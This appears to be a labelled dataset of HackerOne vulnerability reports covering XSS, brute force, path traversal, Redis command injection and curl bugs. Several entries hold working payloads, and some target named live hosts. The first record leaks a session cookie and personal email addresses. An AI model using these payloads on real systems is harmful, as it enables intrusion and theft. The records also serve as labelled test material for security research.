PLAY_SESSION=eyJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InNlc3Npb25faWQiOiI3YmZkZDdjNS0yZDgyLTQzN2ItOGIwZS0yNjFiNDU5ZWZhYTV8MTY1MzIwNzUxNiIsImFsbG93bGlzdCI6Int9IiwicmVjZW50bHktc2VhcmNoZWQiOiIiLCJyZWZlcnJhbC11cmwiOiJodHRwczovL3d3dy5saW5rZWRpbi5jb20vIiwiYWlkIjoiIiwiUk5ULWlkIjoifDAiLCJyZWNlbnRseS12aWV3ZWQiOiI1MDE5MSIsIkNQVC1pZCI6IsKeXHQnX8OXUMOgXHLDn1bCvcKMw6vDrCxMIiwiZXhwZXJpZW5jZSI6InNtYXJ0IGFzc2lzdCIsImlzX25hdGl2ZSI6ImZhbHNlIiwidHJrIjoicHNldHRpbmdzLWRhdGEtZXhwb3J0X2FwaSJ9LCJuYmYiOjE2NTMyMDgwMjUsImlhdCI6MTY1MzIwODAyNX0.JgW5QI-j18ogKdtRln0yz2kaXUA_LyQ6cUhk4TH2-nQ; PLAY_LANG=en\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nCsrf-Token: ajax:1140114095873524025\nContent-Length: 749\nOrigin: https://www.linkedin.com\nReferer: https://www.linkedin.com/help/linkedin/solve/contact\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\nConnection: close\n\nsuppliedname=Rahul+kumar&email=hiiamsachinkumar%40gmail.com&altemail=kumarsachin1642001%40gmail.com&c%24customer_classification=732&c%24app=2060&c%24platform=1371&description=%22%3E%3Cscript%3Ealert(%221%22)%3C%2Fscript%3E&attachments=%5B%5D&first_name=Rahul&last_name=kumar&user_message=Email%3A+%3A+hiiamsachinkumar%40gmail.com%3Cbr%3E%3Cbr%3EAlternate+Email%3A+%3A+kumarsachin1642001%40gmail.com%3Cbr%3E%3Cbr%3EIssue+Type+%3A+Inbox%2FInvitations%2FMessages%3Cbr%3E%3Cbr%3EIn+Which+App+or+Site%3F+%3A+LinkedIn+(Mobile+App)%3Cbr%3E%3Cbr%3", "source": "hackerone", "timestamp": "2022-06-15", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "1d32796b81ce0c6b311a", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS in Public Profile Reviews\n\nSummary:\nStored XSS found in public profile review in which we can add product details in shop addition options. In description of shop product we can add data URI XSS in HTML format which is led to XSS once user click on HTML.\nIn data URI XSS payload is encrypted in base64\n\nSteps To Reproduce:\n  1. Login with registered username and go to profile.\n  2. After that click on add recommendation and add product details and in it's description add below payload:\n<a href=\"data:text/html;charset=utf-7;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=\">Click Here</a>\n{ Data URI XSS: data:text/html;charset=utf-7;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=\n(PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=) : <script>alert('XSS')</script> }\n  3. Now save the form by filling rest columns.\n  4. If any one views public profile and click on HTML tag, it will trigger XSS.\n\nProof Of Concept:\nVideo POC attached\n\n## Impact\n\nAttacker can execute XSS in the victim user using judge platform", "source": "hackerone", "timestamp": "2023-02-01", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "da8f58d74e664b7c8ec8", "text": "[Improper Restriction of Authentication Attempts] Entering passwords on the Share Login Page can lead to a brute-force attack\n\n## Summary:\nI have identified that when sharing the Results with a password, the request (POST method) when entering a password has no rate limit, which can then be used to loop through one request. An attacker can brute-force for a password and can get a possibly a dashboard Results.\n\nA rate limiting algorithm is used to check if the user session (or IP-address) has to be limited based on the information in the session cache. In case a client made too many requests within a given timeframe, HTTP-Servers can respond with status code 429: Too Many Requests.\n\nThe problem here is that the sharing links are crawled, so if there is a link that does not contain a password, the account information will be revealed, and if there is a password, it can be brute-forced .\n\n█████\n\n## Steps To Reproduce:\n1. Go to https://app.crowdsignal.com/share/███ (this my Survey)\n2. Enter any password and click Login.\n3. Intercept the request (you can use Burp Suite tool to do this)\n4.\n```\nPOST /share/████████/password HTTP/1.1\nHost: app.crowdsignal.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 43\nOrigin: https://app.crowdsignal.com\nConnection: close\nReferer: https://app.crowdsignal.com/share/██████\nCookie:\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\n\naction=password&nonce=██████████&password=§\n```\n5. Now Send This Request To Intruder And brute-force it 1000 times with a list of 1000 passwords.\n6. See that you will get a length of 297 when the password is incorrect and when you get 414 that is the correct password.\n\n\n## Supporting Material/References:\n████\n\n## Impact\n\nIf an attacker successfully brute forces the password, they may be able to access the following: Results, Answer Details, Devices, Locations, and Participants.", "source": "hackerone", "timestamp": "2023-08-27", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "45c01c0bfe288f87c5a2", "text": "[Expected Behavior Violation] CVE-2023-28322: more POST-after-PUT confusion\n\n## Summary:\nCVE-2022-32221 fixes is insufficient.\nIn CVE-2022-32221, only CURLOPT_POST was corrected.\nHowever, CURLOPT_POST is not necessarily used when sending data with the POST method.\nCURLOPT_POST is not used in the CURLOPT_POSTFIELDS usage example on the official website.\n```\nCURL *curl = curl_easy_init();\nif(curl) {\n  const char *data = \"data to send\";\n \n  curl_easy_setopt(curl, CURLOPT_URL, \"https://example.com\");\n \n  /* size of the POST data */\n  curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, 12L);\n \n  /* pass in a pointer to the data - libcurl will not copy */\n  curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data);\n \n  curl_easy_perform(curl);\n}\n```\nAlso on this page is the following statement.\n\n>Using CURLOPT_POSTFIELDS implies setting CURLOPT_POST to 1.\n\nhttps://curl.se/libcurl/c/CURLOPT_POSTFIELDS.html\n\nI think it means that some users do not use CURLOPT_POST.\nJust to be clear, CURLOPT_POSTFIELDS does not set a `FLASE` on `data->set.upload`.\n\nCURLOPT_POST is not used in the CURLOPT_MIMEPOST usage example either.\nhttps://curl.se/libcurl/c/CURLOPT_MIMEPOST.html\n\nBased on the above, I think we need to modify the following to assign `FALSE` to `data->set.upload` if we use the following.\n* CURLOPT_POSTFIELDS\n* CURLOPT_COPYPOSTFIELDS\n* CURLOPT_MIMEPOST\n\nWe could not determine the deprecated CURLOPT_HTTPPOST.\n\n## Steps To Reproduce:\nAlmost the same source as #1704017. The difference is that line 52 is commented out.\n\n```\n#include <stdio.h>\n#include <string.h>\n#include <curl/curl.h>\n\ntypedef struct\n{\n    char *buf;\n    size_t len;\n} put_buffer;\n\nstatic size_t put_callback(char *ptr, size_t size, size_t nmemb, void *stream)\n{\n    put_buffer *putdata = (put_buffer *)stream;\n    size_t totalsize = size * nmemb;\n    size_t tocopy = (putdata->len < totalsize) ? putdata->len : totalsize;\n    memcpy(ptr, putdata->buf, tocopy);\n    putdata->len -= tocopy;\n    putdata->buf += tocopy;\n    return tocopy;\n}\n\nint main()\n{\n    CURL *curl = NULL;\n    put_buffer pbuf = {};\n    char *otherdata = \"This is some other data\";\n\n    curl_global_init(CURL_GLOBAL_DEFAULT);\n\n    curl = curl_easy_init();\n\n    // PUT\n    curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);\n    curl_easy_setopt(curl, CURLOPT_READFUNCTION, put_callback);\n    pbuf.buf = strdup(\"This is highly secret and sensitive data\");\n    pbuf.len = strlen(pbuf.buf);\n    curl_easy_setopt(curl, CURLOPT_READDATA, &pbuf);\n    curl_easy_setopt(curl, CURLOPT_INFILESIZE, pbuf.len);\n    curl_easy_setopt(curl, CURLOPT_URL, \"http://host1.com/putsecretdata\");\n    curl_easy_perform(curl);\n\n    // Without this line, a PUT instead of a POST will be sent below (this is a bug in libcurl)\n    //curl_easy_setopt(curl, CURLOPT_UPLOAD, 0L);\n\n    // Without this line, the POST below will send \"This is highly secret and sensitive data\"\n    //    when instead the user intended to send \"This is some other data\"\n    // With this line, the program will attempt to use freed data, causing a segfault or any number\n    //    of potential exploits.\n    //free(pbuf.buf);\n\n    // POST (will be a PUT without the line just above)\n    //curl_easy_setopt(curl, CURLOPT_POST, 1L);\n    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, otherdata);\n    curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, strlen(otherdata));\n    curl_easy_setopt(curl, CURLOPT_URL, \"http://host2.com/postotherdata\");\n    curl_easy_perform(curl);\n\n    curl_easy_cleanup(curl);\n\n    curl_global_cleanup();\n\n    return 0;\n}\n```\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\n## Impact\n\nAn attacker could potentially inject data, either from stdin or from an unintended buffer. Further, without even an active attacker, this could lead to segfaults or sensitive information being exposed to an unintended recipient.", "source": "hackerone", "timestamp": "2023-05-18", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "2838355cee747583d865", "text": "[Cross-site Scripting (XSS) - DOM] XSS on Brave Today through custom RSS feed\n\n## Summary:\n\nTwo months ago, the [custom RSS feed feature](https://github.com/brave/brave-ios/pull/3317) was introduced to Brave Today on Brave iOS.\n\nThis feature allows to add any RSS feed to Brave Today, and the registered feed entries are shown in a tab with a hyperlink to the original article URL.\nThen, Brave iOS doesn't restrict the URL scheme of the original article link, which can cause XSS weakness through `javascript:` URL.\n\nHere is a demonstration RSS feed of this attack.\nhttps://csrf.jp/brave/rss.php\n\nThis RSS feed contains `javascript:alert(document.domain)` in an entry tag like this.\n```\n<entry>\n  <title>XSS</title>\n  <link rel=\"alternate\" type=\"text/html\" href=\"javascript:alert(document.domain)\" />\n  <content type=\"html\"><![CDATA[<img src=\"https://csrf.jp/test.png\">]]></content>\n</entry>\n```\nWhen user taps the entry on Brave Today, an alert dialog is shown on `http://localhost:65XX`.\n\n## Products affected: \n\n * Brave iOS current Nightly build\n\n## Steps To Reproduce:\n\n * Open \"Settings\"\n * Tap \"Brave Today\" in Settings menu\n * Tap \"Add Source\"\n * Type \"https://csrf.jp/brave/rss.php\" and tap \"Search\"\n * RSS feed, that name is PoC, is found, then tap \"Add\"\n * Enable PoC feed\n * Close the Settings menu and open a new tab\n * Enable Brave Today, then you can find an article entry that name is \"XSS\"\n * Tap the article, then an alert dialog is shown\n\n## Supporting Material/References:\n\n  * See attached movie file for the demonstration\n\n## Impact\n\nAs written in summary, XSS is possible on `http://localhost:65XX`.\nNote that `http://localhost:65XX` should be considered as a privileged domain that hosts Brave's internal features such as reader-view, error-pages and so on.", "source": "hackerone", "timestamp": "2023-06-22", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "f7a21069d89491ddc286", "text": "[Path Traversal] [CVE-2020-3452] Unauthenticated file read in Cisco ASA\n\ni found out that https://█████████/ was vulnerable to CVE-2020-3452\n\nThe IP has a SSL certificate pointing to █████████\ncurl -kv https://██████████/ \n\nOutput\n```\nServer certificate:\n*  subject: C=US; ████.mil\n```\n\n## Impact\n\nAnyone can read any file present on the server.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2020-3452\n\n## Steps to Reproduce\nYou can test it by visiting the URL:\n1. https://██████████/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua\n2. https://███████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\n\n## Suggested Mitigation/Remediation Actions\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86", "source": "hackerone", "timestamp": "2022-05-12", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "80493eeb3f4870783847", "text": "[Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)] [h1-2102] HTML injection in packing slips can lead to physical theft\n\n## Summary:\nA HTML injection vulnerability exists in the packing slip generator, allowing customers to alter the logistical process of their and other's orders for shops that choose to display the user's e-mail address on the packing slip. The success rate depends on the shops setup and can result in financial losses for the affected stores.\n\n###Background - how stores use the packing slip\nOnce an order comes in, the packing slips and shipping labels get printed to be processed. From my understanding, when preparing orders, logistical teams don't go back and forth between the Shopify orders, but print the packing slips in bulk (hence the new ability to print in bulk), fill the boxes in the warehouse with whatever is on the packing slip, put on a shipping label on the box and send it off.\nShould the customer be able to alter these packing slips upon printing, it could be possible to alter what (and how many) items will be in their box. It is observed that this is possible using some CSS tweaks and a HTML injection in the e-mail field.\n\n## Prerequisites\n\n- You'll need a store with a product that you can order. You can either work with a bogus payment gateway, or set the price of the product to 0 and mark it as a non-physical good so there's no shipping costs involved.\n\n## Steps To Reproduce:\n-  Go to admin > delivery and set a packing slip template that displays the user's e-mail address in the billing / checkout info. **You can use the one in the attachment** (packingslip.txt). The example should look like this:\n\n{F1171862}\n\n- As a customer, go to the store and check out the item. **Buy only one**, we'll alter the amount through this bug as a PoC.\n\n{F1171898}\n\n- Enter the following e-mail (yes, this is a valid e-mail address, see  [RFC3696](https://tools.ietf.org/html/rfc3696)):\n\n> \"<style>.flex-line-item-quantity>p{font-size:0}.flex-line-item-quantity:after{content:'1337\\0000a0of\\0000a01337';margin-left:420px;}</style>\"@gmail.com\n\n{F1171899}\n\n- Complete your order:\n\n{F1171900}\n\n- You're done! Now wait and profit!\n\n**From the shop employee's perspective, go to orders. You have a new order, yay!**\n\nFree product has been ordered one time. Great! Let's print the packing slip (in big stores this would be printed in bulk, so people wouldn't really notice anything):\n\n{F1171902}\n\nNotice that the packing slip looks like this:\n\n{F1171903}\n\nSeems like the logistics team will be shipping *1337* items in instead of 1. We only paid for 1.\nWe could also alter other stuff, like the actual item, or when printed in bulk, we could alter _other_ people's packing slip. The sky is the limit! This won't work for all shops, but when it does, the impact will be very effective.\n\n## Impact\n\n- Literally steal goods\n- Alter other people's stuff as well if they use the bulk printer (e.g. add a special note, put your return address on the slip instead of the shop's, etc...)", "source": "hackerone", "timestamp": "2022-07-11", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "baae07a1bf699c2a2b4a", "text": "[Business Logic Errors] KRB-FTP: Security level downgrade\n\n## Summary:\nlibcurl doesn't fail the FTP connection if Kerberos authentication fails for some reason, but rather reverts back to using regular clear text password authentication.\n\nThe logic is in`lib/ftp.c` `ftp_statemachine`: https://github.com/curl/curl/blob/07a9b89fedaec60bdbc254f23f66149b31d2f8da/lib/ftp.c#L2706\n\nThis means that active attacker in a man in the middle position can downgrade any attempt to use Kerberos FTP to regular one by merely forcing the Kerberos authentication to fail.\n\nThe more secure course of action would be to fail the FTP connection if Kerberos authentication fails. If such change is not deemed necessary the current limitations should be documented.\n\n## Steps To Reproduce:\n\n  1. MitM the connection and make the kerberos authentication fail\n  2. `curl --krb private ftp://victim.tld/`\n\n## Impact\n\n- Security level downgrade.", "source": "hackerone", "timestamp": "2022-06-05", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "df1beeb0f1f882582d89", "text": "[Unknown] CVE-2021-38314  @ https://www.mtn.ci\n\n## Summary:\nHello.\nI your domain https://www.mtn.ci was vulnerable to CVE-2021-38314\n\n##Description:\nThe Gutenberg Template Library & Redux Framework plugin <= 4.2.11 for WordPress registered several AJAX actions available to unauthenticated users in the `includes` function in `redux-core/class-redux-core.php` that were unique to a given site but deterministic and predictable given that they were based on an md5 hash of the site URL with a known salt value of '-redux' and an md5 hash of the previous hash with a known salt value of '-support'. These AJAX actions could be used to retrieve a list of active plugins and their versions, the site's PHP version, and an unsalted md5 hash of site&#8217;s `AUTH_KEY` concatenated with the `SECURE_AUTH_KEY`.\n\n##Referrence:\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38314\nhttps://www.wordfence.com/blog/2021/09/over-1-million-sites-affected-by-redux-framework-vulnerabilities/\n\n## Steps To Reproduce:\nVisit https://www.mtn.ci/wp-admin/admin-ajax.php?action=e1efc9f8463379b3427645c8df923e6d you will see ```037c4f460684e77a5f67fe148576121b```\n\n## Supporting Material/References:\n{F1461730}\n\n## Impact\n\nCVE-2021-38314", "source": "hackerone", "timestamp": "2022-09-05", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "e7d09dbf61cdeb3b772d", "text": "ETAP Safety Manager 1.0.0.32 Remote Unauthenticated Reflected XSS\n\nSeverity: high", "source": "zeroscience", "timestamp": "2022-09-11", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "67add96d8ab4deed90bd", "text": "[Allocation of Resources Without Limits or Throttling] [curl] CVE-2023-38039: HTTP header allocation DOS\n\nHello reporting  for CVE-2023-38039 which has been fixed in the latest release of curl today.\nLink to original report : #2072338\n\nThanks for your help, if there's anything else you need from me I'll happily share.\nHave a nice day !\n\n## Impact\n\nDOS/overloading of user's system through malicious HTTP server interaction with curl's header parsing.", "source": "hackerone", "timestamp": "2023-09-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "cfe01b96cf817f99fedc", "text": "[Unknown] [Java]: Add JDBC connection SSRF sinks\n\nThis bug was reported directly to GitHub Security Lab.", "source": "hackerone", "timestamp": "2022-03-30", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "f363cb853ec906e5e606", "text": "[Violation of Secure Design Principles] Suspicious login app ships old league/flysystem version\n\n## Summary:\nThe vulnerability allows a remote attacker to compromise vulnerable system.\nThe vulnerability exists due to a race condition. A remote attacker can send a specially crafted request and execute arbitrary code on the target system.\n`Flysystem: 0.1.0 - 2.1.0`\n\n\nhttps://github.com/nextcloud/suspicious_login/\n```php\n<?php\nnamespace League\\Flysystem;\nuse RuntimeException;\nfinal class CorruptedPathDetected extends RuntimeException implements FilesystemException\n{\n    public static function forPath(string $path): CorruptedPathDetected\n    {\n        return new CorruptedPathDetected(\"Corrupted path detected: \" . $path);\n    }\n}\n```\n```php\n   {\n        $path = str_replace('\\\\', '/', $path);\n        $path = $this->removeFunkyWhiteSpace($path);\n        $this->rejectFunkyWhiteSpace($path);\n```\n\n**Supporting References:**\nThe unicode whitespace removal has been replaced with a rejection (exception).\nThe library has been patched in:\n * [1.x: thephpleague/flysystem@f3ad691](https://github.com/thephpleague/flysystem/commit/f3ad69181b8afed2c9edf7be5a2918144ff4ea32)\n * [2.x: thephpleague/flysystem@a3c694d](https://github.com/thephpleague/flysystem/commit/a3c694de9f7e844b76f9d1b61296ebf6e8d89d74)\n\n**CVE-2021-32708**\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`\n[GHSA-9f46-5r25-5wfm](https://github.com/thephpleague/flysystem/security/advisories/GHSA-9f46-5r25-5wfm)\n\n## Impact\n\nThe whitespace normalisation using in 1.x and 2.x removes any unicode whitespace. Under certain specific conditions this could potentially allow a malicious user to execute code remotely.\n\nThe conditions:\n * A user is allowed to supply the path or filename of an uploaded file.\n * The supplied path or filename is not checked against unicode chars.\n * The supplied pathname checked against an extension deny-list, not an allow-list.\n * The supplied path or filename contains a unicode whitespace char in the extension.\n * The uploaded file is stored in a directory that allows PHP code to be executed.\n\nGiven these conditions are met a user can upload and execute arbitrary code on the system under attack.", "source": "hackerone", "timestamp": "2023-02-08", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "834d9dfd4d42ec838586", "text": "[Session Fixation] CVE-2023-40273: Session fixation in Apache Airflow web interface\n\nWhen I reset the password of the test user through the button Reset Password, I hope that the person who previously had the password of the test user will lose the corresponding authority. However, if others have logged in to the test user before, they can still use the account.\n{F2630619}\n{F2630620}\nIn short，Change user password wouldn't prevent an already authenticated user from being able to continue using the UI or API.\n\n## Impact\n\nThe session fixation vulnerability allowed the authenticated user to continue accessing Airflow webserver even after the password of the user has been reset by the admin - up until the expiry of the session of the user.", "source": "hackerone", "timestamp": "2023-09-04", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "b3c72333d83696257c1c", "text": "[UI Redressing (Clickjacking)] Clickjacking login page of https://hackers.upchieve.org/login\n\nHello, you have discovered this unprotected login page\nhttps://hackers.upchieve.org/login\nAn attacker can \nin frame page\nin iframe \nand Deception of a user and obtaining a password, email and sensitive information\n\n## Impact\n\nAn attacker can  \naDeception of a user and obtaining a password, email and sensitive information", "source": "hackerone", "timestamp": "2022-03-26", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "feaf28fef83333f1fe64", "text": "[Improper Synchronization] CVE-2023-28320: siglongjmp race condition\n\n## Summary:\nIf the system has no POSIX or Windows threading support, `USE_ALARM_TIMEOUT` codepath will be used in `lib/hostip.c`. If two threads will perform DNS resolving, a wrong register context can be used on  the signal handler`siglongjmp` call if DNS timeout occurs. Typically this results in segmentation fault, but depending on platform specifics other impacts might be possible (but unlikely).\n\nThe documentation warns against this very issue in https://curl.se/libcurl/c/threadsafe.html `It is important that libcurl can find and use thread safe versions of these and other system calls, as otherwise it cannot function fully thread safe.` The issue is that there is no way for the application using libcurl to know if the library is MT safe for DNS resolution or not. `CURL_VERSION_THREADSAFE` is mentioned, but this checks availability of atomic init, not MT safety of DNS resolution.\n\nA remote attacker in a privileged network position is able to selectively block the DNS responses and may thus induce the affected target application to crash.\n\n## Steps To Reproduce:\n\n  1. For quick testing on POSIX systems add `#define USE_ALARM_TIMEOUT` to `lib/hostip.c`, for example:\n ```\ndiff --git a/lib/hostip.c b/lib/hostip.c\nindex 2381290fd..0148f2861 100644\n--- a/lib/hostip.c\n+++ b/lib/hostip.c\n@@ -75,6 +75,7 @@\n /* alarm-based timeouts can only be used with all the dependencies satisfied */\n #define USE_ALARM_TIMEOUT\n #endif\n+#define USE_ALARM_TIMEOUT\n\n #define MAX_HOSTCACHE_LEN (255 + 7) /* max FQDN + colon + port number + zero */\n\n ```\n  2. Compile libcurl\n  3. Compile version of https://curl.se/libcurl/c/multithread.html but add `curl_easy_setopt(curl, CURLOPT_TIMEOUT, 2);` to  `pull_one_url` function.\n  4. Change DNS config to point to blackhole DNS server at `3.219.212.117` (blackhole.webpagetest.org)\n  5. Execute the compiled `multithread` and the application will segfault.\n\n```\n$ LD_LIBRARY_PATH=./lib/.libs:$LD_LIBRARY_PATH gdb ./multithread\nGNU gdb (Debian 13.1-2) 13.1\nCopyright (C) 2023 Free Software Foundation, Inc.\nLicense GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>\nThis is free software: you are free to change and redistribute it.\nThere is NO WARRANTY, to the extent permitted by law.\nType \"show copying\" and \"show warranty\" for details.\nThis GDB was configured as \"x86_64-linux-gnu\".\nType \"show configuration\" for configuration details.\nFor bug reporting instructions, please see:\n<https://www.gnu.org/software/gdb/bugs/>.\nFind the GDB manual and other documentation resources online at:\n    <http://www.gnu.org/software/gdb/documentation/>.\n\nFor help, type \"help\".\nType \"apropos word\" to search for commands related to \"word\"...\nReading symbols from ./multithread...\n(No debugging symbols found in ./multithread)\n(gdb) r\nStarting program: /home/user/curl/multithread\n/home/user/curl/multithread: ./lib/.libs/libcurl.so.4: no version information available (required by /home/user/curl/multithread)\n[Thread debugging using libthread_db enabled]\nUsing host libthread_db library \"/lib/x86_64-linux-gnu/libthread_db.so.1\".\n[New Thread 0x7ffff6ffc6c0 (LWP 2733684)]\nThread 0, gets http://curl.haxx.se/\n[New Thread 0x7ffff67fb6c0 (LWP 2733685)]\nThread 1, gets ftp://cool.haxx.se/\n[New Thread 0x7ffff5ffa6c0 (LWP 2733686)]\n[New Thread 0x7ffff57f96c0 (LWP 2733687)]\nThread 2, gets http://www.contactor.se/\n[New Thread 0x7ffff4ff86c0 (LWP 2733688)]\n[New Thread 0x7fffe77fe6c0 (LWP 2733690)]\n[New Thread 0x7fffe7fff6c0 (LWP 2733689)]\nThread 3, gets www.haxx.se\n[New Thread 0x7fffe6ffd6c0 (LWP 2733691)]\n\nThread 1 \"multithread\" received signal SIGSEGV, Segmentation fault.\n0x00007ffff7f42b32 in Curl_failf () from ./lib/.libs/libcurl.so.4\n(gdb) bt\n#0  0x00007ffff7f42b32 in Curl_failf () from ./lib/.libs/libcurl.so.4\n#1  0x00007ffff7f546dd in Curl_resolv_timeout () from ./lib/.libs/libcurl.so.4\n#2  0x0000000000000000 in ?? ()\n```\n\n## Risk discussion\nI don't consider this issue a major risk since it likely will affect only small percentage of target platforms. Some ", "source": "hackerone", "timestamp": "2023-05-17", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "6b0b5cfc86420d785891", "text": "[Command Injection - Generic] Remote Command Execution via Github import\n\n### Summary\n\nThis is very similar to https://about.gitlab.com/releases/2022/08/22/critical-security-release-gitlab-15-3-1-released/#Remote%20Command%20Execution%20via%20Github%20import and allows arbitrary redis commands to be injected when imported a GitHub repository.\n\nWhen importing a GitHub repo the api client uses `Sawyer` for handling the responses. This takes a json hash and converts it into a ruby class that has methods matching all of the keys:\n\nhttps://github.com/lostisland/sawyer/blob/v0.9.2/lib/sawyer/resource.rb#L106-L110\n```ruby\n    def self.attr_accessor(*attrs)\n      attrs.each do |attribute|\n        class_eval do\n          define_method attribute do\n            @attrs[attribute.to_sym]\n          end\n\n          define_method \"#{attribute}=\" do |value|\n            @attrs[attribute.to_sym] = value\n          end\n\n          define_method \"#{attribute}?\" do\n            !!@attrs[attribute.to_sym]\n          end\n        end\n      end\n    end\n```\n\nThis happens recursively, and allows for any method to be overridden including built-in methods such as `to_s`.\n\nThe redis gem uses `to_s` and `bytesize` to generate the RESP command, so if a `Sawyer::Resource` is ever passed in that has a controllable hash it can allow arbitrary redis commands to be injected into the stream as the string will be shorter than the `$` size provided (see https://redis.io/docs/reference/protocol-spec/)\n\nhttps://github.com/redis/redis-rb/blob/v4.4.0/lib/redis/connection/command_helper.rb#L20\n```ruby\n            i = i.to_s\n            command << \"$#{i.bytesize}\"\n            command << i\n```\n\nThe patch for CVE-2022-2884 added validation to `Gitlab::Cache::Import::Caching` but there is another spot where the  `Sawyer::Resource` is passed to redis:\n\nhttps://gitlab.com/gitlab-org/gitlab/-/blob/v15.3.1-ee/lib/gitlab/github_import/importer/repository_importer.rb#L55\n```ruby\n       def import_repository\n          project.ensure_repository\n\n          refmap = Gitlab::GithubImport.refmap\n          project.repository.fetch_as_mirror(project.import_url, refmap: refmap, forced: true)\n\n          project.change_head(default_branch) if default_branch\n\n          # The initial fetch can bring in lots of loose refs and objects.\n          # Running a `git gc` will make importing pull requests faster.\n          Repositories::HousekeepingService.new(project, :gc).execute\n\n          true\n        end\n```\n\nThe `default_branch` param comes from the client repository (which is a nested Sawyer::Resource of attacker controlled data), and is passed to `change_head`  which then calls `branch_exists?`  and `branch_names_include?` which passes the value to redis:\n\nhttps://gitlab.com/gitlab-org/gitlab/-/blob/v15.3.1-ee/lib/gitlab/repository_cache_adapter.rb#L71\n```ruby\n        define_method(\"#{name}_include?\") do |value|\n          ivar = \"@#{name}_include\"\n          memoized = instance_variable_get(ivar) || {}\n          lookup = proc { __send__(name).include?(value) } # rubocop:disable GitlabSecurity/PublicSend\n\n          next memoized[value] if memoized.key?(value)\n\n          memoized[value] =\n            if strong_memoized?(name)\n              lookup.call\n            else\n              result, exists = redis_set_cache.try_include?(name, value)\n\n              exists ? result : lookup.call\n            end\n\n          instance_variable_set(ivar, memoized)[value]\n        end\n```\n\nSo by returning an api response with a `default_branch` that overrides `to_s` and `bytesize` you can call arbitrary redis commands:\n\n```json\n        {\n            \"default_branch\": {\n                \"to_s\": {\n                    \"to_s\": 'ggg\\r\\nINJECT_RESP_HERE',\n                    \"bytesize\": 3,\n                }\n            }\n        }\n```\n\nThis can be combined with a call to `Marshal.load` when loading a _gitlab_session to execute a deserialisation gadget (such as https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html) and gain RCE.\n\n### Steps to reproduce\n\n1. edit {F1882976} and change the comm", "source": "hackerone", "timestamp": "2022-10-06", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "1a2b85256945d7d19b66", "text": "[Business Logic Errors] CVE-2022-27782: TLS and SSH connection too eager reuse\n\n## Summary:\nCurl fails to consider some security related options when reusing TLS connections. For example:\n- CURLOPT_SSL_OPTIONS\n- CURLOPT_PROXY_SSL_OPTIONS\n- CURLOPT_CRLFILE\n- CURLOPT_PROXY_CRLFILE\n\nAs a result for example TLS connection with  lower security (`CURLSSLOPT_ALLOW_BEAST`,` CURLSSLOPT_NO_REVOKE`) connection reused when it should no longer be. Also connection that has been authenticated perviously with `CURLSSLOPT_AUTO_CLIENT_CERT` might be reused for connections that should not be.\n\n## Steps To Reproduce:\n1. `(echo -ne \"HTTP/1.1 200 OK\\r\\nContent-Length: 6\\r\\n\\r\\nHello\\n\"; sleep 5; echo -ne \"HTTP/1.1 200 OK\\r\\nContent-Length: 6\\r\\n\\r\\nAgain\\n\") | openssl s_server -cert cert.pem -key privkey.pem -cert_chain chain.pem -accept 9443`\n2. `curl -v --ssl-no-revoke --ssl-allow-beast https://targethost.tld:9443 -: https://targethost.tld:9443`\n\nConnections are made using the same reused connection even though security settings change.\n\nWith curl built against openssl:\n1. `curl http://cdp.geotrust.com/GeoTrustRSACA2018.crl | openssl 